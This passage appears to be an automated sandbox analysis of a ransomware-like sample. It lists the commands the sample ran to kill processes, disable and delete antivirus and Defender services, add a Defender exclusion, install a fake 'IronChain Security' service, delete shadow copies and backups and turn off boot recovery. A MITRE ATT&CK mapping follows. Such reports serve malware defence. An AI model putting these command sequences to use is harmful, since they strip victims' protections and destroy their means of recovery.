                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                    taskkill /f /im pwsh.exe
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                    PID:1880
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                    taskkill /f /im taskkill.exe
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                    PID:3416
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                    taskkill /f /im wmic.exe
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                    PID:2220
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:3832
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                      taskkill /f /im diskpart.exe
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                      PID:3504
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                      net stop AVP /y
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:1824
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 stop AVP /y
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:4904
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                          sc config AVP start= disabled
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:1128
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                            sc delete AVP
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:1208
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                              net stop KAV /y
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:1256
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 stop KAV /y
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                    PID:3004
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                  sc config KAV start= disabled
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                                                                                                                  PID:4500
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                  sc delete KAV
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:3476
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                    net stop BDSS /y
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:1212
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 stop BDSS /y
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:4604
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                        sc config BDSS start= disabled
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:4308
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                          sc delete BDSS
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                          PID:2556
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                          net stop Bitdefender /y
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:2792
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                PID:3296
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 stop Bitdefender /y
                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                  PID:3160
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                sc config Bitdefender start= disabled
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:4616
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                  sc delete Bitdefender
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:2096
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                    net stop "avast! Antivirus" /y
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:2980
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 stop "avast! Antivirus" /y
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:696
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                        sc config "avast! Antivirus" start= disabled
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:3680
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                          sc delete "avast! Antivirus"
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                          PID:744
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                          net stop "avast! Service" /y
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:3988
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 stop "avast! Service" /y
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                PID:212
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                              sc config "avast! Service" start= disabled
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                              PID:684
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                              sc delete "avast! Service"
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                              PID:4660
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                              net stop AVG /y
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:4320
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 stop AVG /y
                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                    PID:4128
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                  sc config AVG start= disabled
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1692
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                    sc delete AVG
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                    PID:4968
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                    net stop MBAMService /y
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1664
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 stop MBAMService /y
                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                          PID:3952
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                        sc config MBAMService start= disabled
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1752
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                          sc delete MBAMService
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                          PID:4908
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          net stop DrWeb /y
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:4472
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 stop DrWeb /y
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1728
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                              sc config DrWeb start= disabled
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1764
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                sc delete DrWeb
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                PID:4400
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                net stop wscsvc /y
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:2972
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:2992
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 stop wscsvc /y
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:3484
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                      sc config wscsvc start= disabled
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                      PID:3572
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                      sc delete wscsvc
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                      PID:3692
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                      net stop SecurityHealthService /y
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:764
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 stop SecurityHealthService /y
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:2556
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                          sc config SecurityHealthService start= disabled
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                          PID:1180
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                          sc delete SecurityHealthService
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:3168
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                            net stop Sense /y
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2440
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 stop Sense /y
                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:4652
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                sc config Sense start= disabled
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                                PID:4776
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                sc delete Sense
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                                PID:2812
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                                net stop WinDefend /y
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:4912
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\net1 stop WinDefend /y
                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:1636
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                    sc config WinDefend start= disabled
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                                    PID:4612
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                    sc delete WinDefend
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:3976
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                                      net stop WdNisSvc /y
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:2416
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 stop WdNisSvc /y
                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:4128
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                          sc config WdNisSvc start= disabled
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                                          PID:4816
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                          sc delete WdNisSvc
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                                          PID:4380
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                                          net stop MpKslDrv /y
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:3576
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 stop MpKslDrv /y
                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5064
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                              sc config MpKslDrv start= disabled
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:4256
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                sc delete MpKslDrv
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:2888
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                                                  net stop NisSrv /y
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:972
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 stop NisSrv /y
                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1688
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                      sc config NisSrv start= disabled
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                      PID:432
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                      sc delete NisSrv
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3428
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe""
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1784
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "sc create IronChainSecurity binPath= "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" start= auto DisplayName= "IronChain Security Component""
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:60
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "sc description IronChainSecurity "Trusted security module""
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2140
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "sc start IronChainSecurity"
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:3468
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "sc failure IronChainSecurity reset= 86400 actions= restart/5000/restart/5000/restart/5000"
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1656
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  svchost.exe C:\Windows\system32\cmd.exe /c "sc critical IronChainSecurity"
                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2148
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"
                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2408
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3416
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4412
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2556
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} safeboot minimal"
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2076
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2432
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3080
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  svchost.exe C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"
                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1420
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "sc stop swprv"
                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4760
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\mshta.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      mshta.exe C:\Users\Admin\Desktop\IronChain.hta
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4496
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\PLEASEREADTHIS.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Opens file in notepad (likely ransom note)
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1476
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl1.bat
                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4956

                                                                                                                                                                                                                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                                                                          Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                          Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                          Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                          Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                          Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1059

                                                                                                                                                                                                                                                                                                                                                                                                                                          Windows Command Shell

                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1059.003

                                                                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1053.005

                                                                                                                                                                                                                                                                                                                                                                                                                                          System Services

                                                                                                                                                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1569

                                                                                                                                                                                                                                                                                                                                                                                                                                          Service Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1569.002

                                                                                                                                                                                                                                                                                                                                                                                                                                          Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                          Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                                          Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1546

                                                                                                                                                                                                                                                                                                                                                                                                                                          Netsh Helper DLL

                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1546.007

                                                                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                                                                          T1053.005

                                                                                                                                                                                                                                                                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                          3
